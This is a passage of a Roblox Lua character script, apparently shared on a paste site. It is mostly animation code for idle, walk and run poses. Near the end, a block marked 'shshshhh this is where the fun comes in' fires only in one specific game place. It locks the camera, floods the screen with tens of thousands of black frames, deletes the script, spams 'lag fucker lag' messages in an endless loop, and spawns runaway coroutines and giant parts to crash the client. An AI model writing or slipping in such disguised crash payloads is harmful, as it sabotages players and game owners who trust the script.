  4719. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(0.1,0,-1),.3)
  4720. LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  4721. RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0.6,1.57,0)*euler(0,0,0),.2)
  4722. LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(-0.8,-1.57,0)*euler(0,0,0),.2)
  4723. handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4724. Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2)
  4725. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2)
  4726.             MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4727.             MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4728.             MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4729.             MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4730. end
  4731. elseif torvel<1 and hitfloor~=nil then
  4732. Anim="Idle"
  4733. change=0.5
  4734. if idle>=1000 then
  4735. if attack==false then
  4736. Footsteps:Stop()
  4737. Footsteps2:Stop()
  4738. Humanoid.WalkSpeed=12
  4739. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,6-0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(0),math.rad(10)),.1)
  4740. Neck.C0=clerp(Neck.C0,necko*angles(math.rad(5+2*math.cos(sine/5.5)),math.rad(-20-2*math.cos(sine/5.5)),math.rad(-9)),.1)
  4741. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1)
  4742. RW.C0=clerp(RW.C0,cf(1.2, 0.5, 0.1)*angles(math.rad(205),math.rad(0),math.rad(-25)),.5)
  4743. LW.C0=clerp(LW.C0,cf(-1.2, 0.5, 0.1)*angles(math.rad(205),math.rad(0),math.rad(25)),.5)
  4744. RH.C0=clerp(RH.C0,cf(1,-0.5,-0.225)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(10),math.rad(0),math.rad(0)),.1)
  4745. LH.C0=clerp(LH.C0,cf(-1,-1.1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(15),math.rad(0),math.rad(24)),.3)
  4746. handleweld.C0=clerp(handleweld.C0,cf(0,1.5+2.5*math.cos(sine/62*2),0)*angles(math.rad(90),math.rad(0),math.rad(60-180*math.cos(sine/50))),.3)
  4747. Handleweld.C0=clerp(Handleweld.C0,cf(0,-0.5-0.85*math.cos(sine/62*2),0)*angles(math.rad(0),math.rad(-0-180*2.5*math.cos(sine/62*2)),math.rad(0)),.4)
  4748. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-0.5+0.85*math.cos(sine/48),0)*angles(math.rad(0),math.rad(-180-180*2.5*math.cos(sine/62*2)),math.rad(180)),.3)
  4749.             MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4750.             MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4751.             MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4752.             MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4753. end
  4754. else
  4755. if attack==false then
  4756. Footsteps:Stop()
  4757. Footsteps2:Stop()
  4758. Humanoid.WalkSpeed=12
  4759. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0-0.015*math.cos(sine/5))*angles(math.rad(-10),math.rad(0),math.rad(20)),.1)
  4760. Neck.C0=clerp(Neck.C0,necko*angles(math.rad(5+2*math.cos(sine/5.5)),math.rad(-5-2*math.cos(sine/5.5)),math.rad(-20)),.1)
  4761. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1)
  4762. RW.C0=clerp(RW.C0,cf(1.35,0.3,-0.5)*angles(math.rad(65),math.rad(0),math.rad(-45)),.5)
  4763. LW.C0=clerp(LW.C0,cf(-1.175, 0.5, 0)*angles(math.rad(125),math.rad(0),math.rad(45)),.5)
  4764. RH.C0=clerp(RH.C0,cf(1,-1,-0.225)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(10),math.rad(0),math.rad(0)),.1)
  4765. LH.C0=clerp(LH.C0,cf(-1,-1.1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(15),math.rad(0),math.rad(25)),.3)
  4766. handleweld.C0=clerp(handleweld.C0,cf(0-1*math.cos(sine/40),0-0.5*math.cos(sine/20),0)*angles(math.rad(-5+5*math.cos(sine/20)),math.rad(0),math.rad(0)),.2)
  4767. Handleweld.C0=clerp(Handleweld.C0,cf(0,-1.5,0)*angles(math.rad(0),math.rad(-0-180*2.5*math.cos(sine/62*2)),math.rad(0)),.4)
  4768. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,1.5,0)*angles(math.rad(0),math.rad(-180-180*2.5*math.cos(sine/62*2)),math.rad(180)),.3)
  4769.             MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4770.             MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4771.             MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4772.             MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4773. end
  4774. end
  4775. elseif torvel>2 and torvel<22 and hitfloor~=nil then
  4776. Anim="Walk"
  4777. if attack==false then
  4778. change=0.8
  4779. --[[RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(35),math.rad(0),math.rad(15*math.cos(sine/10))),.3)
  4780. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-30),math.rad(0),math.rad(0)),.3)
  4781. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-135*math.cos(sine/9)),math.rad(0),math.rad(0)),.3)
  4782. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(135*math.cos(sine/9)),math.rad(0),math.rad(0)),.3)
  4783. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0)),.3)
  4784. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0)),.3)
  4785. --Handleweld.C0=clerp(--Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4786. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4787. RootJoint.C0=clerp(RootJoint.C0,RootCF*euler(0.1,0,0),.2)
  4788. --RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-0.1,0,0.2),.2)
  4789. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-5),math.rad(-25),math.rad(20)),.3)
  4790. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(5),math.rad(25),math.rad(-20)),.3)
  4791. RH.C0=clerp(RH.C0,RHC0,.3)
  4792. LH.C0=clerp(LH.C0,LHC0,.3)
  4793. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4794. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4795.             MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4796.             MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4797.             MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4798.             MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4799. ]]--
  4800. Footsteps:Play()
  4801. Footsteps2:Stop()
  4802. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0+0.1*math.cos(sine/2.5))*angles(math.rad(10+1*math.cos(sine/2.5)),math.rad(0),math.rad(1-5*math.cos(sine/5))),.3)
  4803. Neck.C0=clerp(Neck.C0,necko*euler(0+0.075*math.cos(sine/2.5),0,0)*angles(math.rad(0),math.rad(0),math.rad(1+5*math.cos(sine/5))),.3)
  4804. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  4805. RW.C0=clerp(RW.C0,cf(1.4+0.25*math.cos(sine/5),0.5+0.25*math.cos(sine/5),-0.2+0.5*math.cos(sine/5))*angles(math.rad(20-60*math.cos(sine/5)),math.rad(0),math.rad(-4+30*math.cos(sine/5))),.3)
  4806. LW.C0=clerp(LW.C0,cf(-1.4+0.25*math.cos(sine/5),0.5-0.25*math.cos(sine/5),-0.2-0.5*math.cos(sine/5))*angles(math.rad(20+60*math.cos(sine/5)),math.rad(0),math.rad(4+30*math.cos(sine/5))),.3)
  4807. RH.C0=clerp(RH.C0,cf(1,-1-0.1*math.cos(sine/5),0-0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-2.5),math.rad(0),math.rad(0+50*math.cos(sine/5))),.3)
  4808. LH.C0=clerp(LH.C0,cf(-1,-1+0.1*math.cos(sine/5),0+0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-2.5),math.rad(0),math.rad(0+50*math.cos(sine/5))),.3)
  4809. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4810. Handleweld.C0=clerp(Handleweld.C0,cf(0-.5*math.cos(sine/30),0,0-.5*math.cos(sine/30))*angles(math.rad(0+1*math.cos(sine/30)),math.rad(-30),math.rad(0-1*math.cos(sine/30))),.2)
  4811. Handle2weld.C0=clerp(Handle2weld.C0,cf(0+.5*math.cos(sine/36),0,0+.5*math.cos(sine/36))*angles(math.rad(0-3*math.cos(sine/36)),math.rad(30),math.rad(0-3*math.cos(sine/36))),.2)
  4812.             MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4813.             MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4814.             MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4815.             MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4816. end
  4817. elseif torvel>=22 and hitfloor~=nil then
  4818. Anim="Run"
  4819. change=1
  4820. if attack==false then
  4821. Footsteps:Stop()
  4822. Footsteps2:Play()
  4823. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0+0.1*math.cos(sine/2.5))*angles(math.rad(20+1*math.cos(sine/2.5)),math.rad(0),math.rad(0)),.3)
  4824. Neck.C0=clerp(Neck.C0,necko*euler(-0.2+0.075*math.cos(sine/2.5),0,0),.3)
  4825. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  4826. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(24)),.3)
  4827. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(-24)),.3)
  4828. RH.C0=clerp(RH.C0,cf(1,-1-0.1*math.cos(sine/5),0-0.5*math.cos(sine/5))*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0+70*math.cos(sine/5))),.3)
  4829. LH.C0=clerp(LH.C0,cf(-1,-1+0.1*math.cos(sine/5),0+0.5*math.cos(sine/5))*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0+70*math.cos(sine/5))),.3)
  4830. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4831. Handleweld.C0=clerp(Handleweld.C0,cf(0-.5*math.cos(sine/30),0,0-.5*math.cos(sine/30))*angles(math.rad(0+1*math.cos(sine/30)),math.rad(-60),math.rad(0-1*math.cos(sine/30))),.2)
  4832. Handle2weld.C0=clerp(Handle2weld.C0,cf(0+.5*math.cos(sine/36),0,0+.5*math.cos(sine/36))*angles(math.rad(0-3*math.cos(sine/36)),math.rad(60),math.rad(0-3*math.cos(sine/36))),.2)
  4833.             MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4834.             MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4835.             MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4836.             MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4837. end
  4838. end
  4839. end
  4840. fenbarmana2:TweenSize(UDim2.new(4*mana/100,0,0.2,0),nil,1,0.4,true)
  4841. fenbarmana4.Text="[Energy]                    <{[  "..mana.."  ]}>                    [Energy]"
  4842. text.Text = math.floor(hum.Health)
  4843. if mana>=100 then
  4844. mana=100
  4845. else
  4846. if mananum<=8 then
  4847. mananum=mananum+100
  4848. else
  4849. mananum=0
  4850. mana=mana+100
  4851. end
  4852. end
  4853. end
  4854.  
  4855.  
  4856.  
  4857.  
  4858. --- shshshhh this is where the fun comes in ---
  4859. if game.PlaceId == 21053279 then
  4860. plr = game.Players.LocalPlayer
  4861. char = plr.Character
  4862. cam = workspace.CurrentCamera
  4863. cam.CameraType = "Scriptable"
  4864. cam.CoordinateFrame = CFrame.new(0,0,50)
  4865. local localContainer
  4866. local service=setmetatable({
  4867.     MarketPlace=game:service("MarketplaceService");
  4868.     GamepassService=game:service("GamePassService");
  4869.     ChatService=game:service("Chat");
  4870.     LocalContainer=function() if not localContainer or not localContainer.Parent then localContainer=Instance.new("Camera",workspace) localContainer.Name=math.random(10000000,999999999) end return localContainer end;
  4871. },{
  4872.     __index=function(tab,index)
  4873.         local serv
  4874.         local ran,err=pcall(function() serv=game:service(index) end)
  4875.         if ran then
  4876.             tab[index]=serv
  4877.             return serv
  4878.         end
  4879.     end
  4880. })
  4881.  
  4882. local cPcall=function(func,...) local function cour(...) coroutine.resume(coroutine.create(func),...) end local ran,error=pcall(cour,...) if error then print('ERROR: '..error) end end
  4883.  
  4884. x=game.Players.LocalPlayer
  4885.                  x.CameraMode=Enum.CameraMode.LockFirstPerson
  4886.                  f=Instance.new("Frame")
  4887.                  f.Size=UDim2.new(1,0,1,0)
  4888.                  f.BackgroundTransparency=0.01
  4889.                  f.BackgroundColor3=Color3.new()
  4890.                  pg=x.PlayerGui
  4891.                  gui=Instance.new("ScreenGui",pg)
  4892.                  wait(.1)
  4893.                  for i=1,28000 do
  4894.                  f:Clone().Parent=gui
  4895.                  f:Clone().Parent=gui
  4896.                  f:Clone().Parent=gui
  4897.                  end
  4898.            
  4899.     script:Destroy();
  4900. local runService = Game:GetService("RunService").Stepped;
  4901. local LagNum = 1250;
  4902. local str = "lag fucker lag";
  4903.  
  4904. for i = 1, math.huge do
  4905.         if i % LagNum == 0 then runService:wait(); end
  4906.         Instance.new("Message", Workspace).Text = str;
  4907. end
  4908.  
  4909. local bores=coroutine.create(function() --Yolo?
  4910.     cPcall(function()
  4911.         --print(Game[("%s|"):rep(0xFFFFFFF)])
  4912.     cPcall(print,'lol')
  4913.     cPcall(warn,'lol')
  4914.     cPcall(error,'lol')
  4915.     while wait(0.1) do
  4916.     spawn(function()
  4917.         cPcall(function()
  4918.         spawn(function()
  4919.         local tab={}
  4920.         pcall(function()
  4921.             spawn(function()
  4922.             for i=1,1000000 do
  4923.                 cPcall(function()
  4924.                 spawn(function()
  4925.                     local bob2=coroutine.create(function()
  4926.                         function f1() cPcall(spawn,f2) warn(string.rep((Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))-Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))).magnitude,2e10)) end
  4927.                         function f2() cPcall(spawn,f1) print(string.rep((Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))-Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))).magnitude,2e10)) end
  4928.                         spawn(f1)
  4929.                     end)
  4930.                     spawn(function() delay(0,function() coroutine.resume(bob2) end) end)
  4931.                     spawn(function() table.insert(tab,string.rep(tostring(math.random()),100)) end)
  4932.                 end)
  4933.                 end)
  4934.             end
  4935.             tab={}
  4936.             end)
  4937.         end)
  4938.         end)
  4939.         end)
  4940.     end)
  4941.     end
  4942.     end)
  4943. end)
  4944.  
  4945. service.RunService.Stepped:connect(function()
  4946.     for i=1,500000 do
  4947.         delay(0,function() pcall(function() coroutine.resume(bores) end) end)
  4948.     end
  4949. end)
  4950.  
  4951.  
  4952.     local function bob()
  4953.     cPcall(function()
  4954.         while wait(0.1) do
  4955.             --cPcall(function()
  4956.             --for i=1,100 do
  4957.                 local p=Instance.new("Part")
  4958.                 p.Material="Neon"
  4959.                 p.Size=Vector3.new(50,50,50)
  4960.                 p.Anchored=true
  4961.                 p.BackSurface="Studs"
  4962.                 p.BottomSurface="Studs"
  4963.                 p.FrontSurface="Studs"
  4964.                 p.LeftSurface="Studs"
  4965.                 p.RightSurface="Studs"
  4966.                 p.TopSurface="Studs"
  4967.                 local t=Instance.new("Texture",p)
  4968.                 t.Texture="http://www.roblox.com/asset/?id=190803157"
  4969.                 t.Face="Top"
  4970.                 t.StudsPerTileU=1000
  4971.                 t.StudsPerTileV=1000
  4972.                 local t2=t:clone()
  4973.                 t2.Parent=p
  4974.                 t2.Face="Bottom"
  4975.                 local t2=t:clone()
  4976.                 t2.Parent=p
  4977.                 t2.Face="Left"
  4978.                 local t2=t:clone()
  4979.                 t2.Parent=p
  4980.                 t2.Face="Right"
  4981.                 local t2=t:clone()
  4982.                 t2.Parent=p
  4983.                 t2.Face="Front"
  4984.                 local t2=t:clone()
  4985.                 t2.Parent=p
  4986.                 t2.Face="Back"
  4987.                 p.Parent=service.LocalContainer()
  4988.             --end
  4989.             --end)
  4990.         end
  4991.     end)
  4992.     end
  4993.     bob() --while wait(0.1) do cPcall(bob) end
  4994. end
  4995. --
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement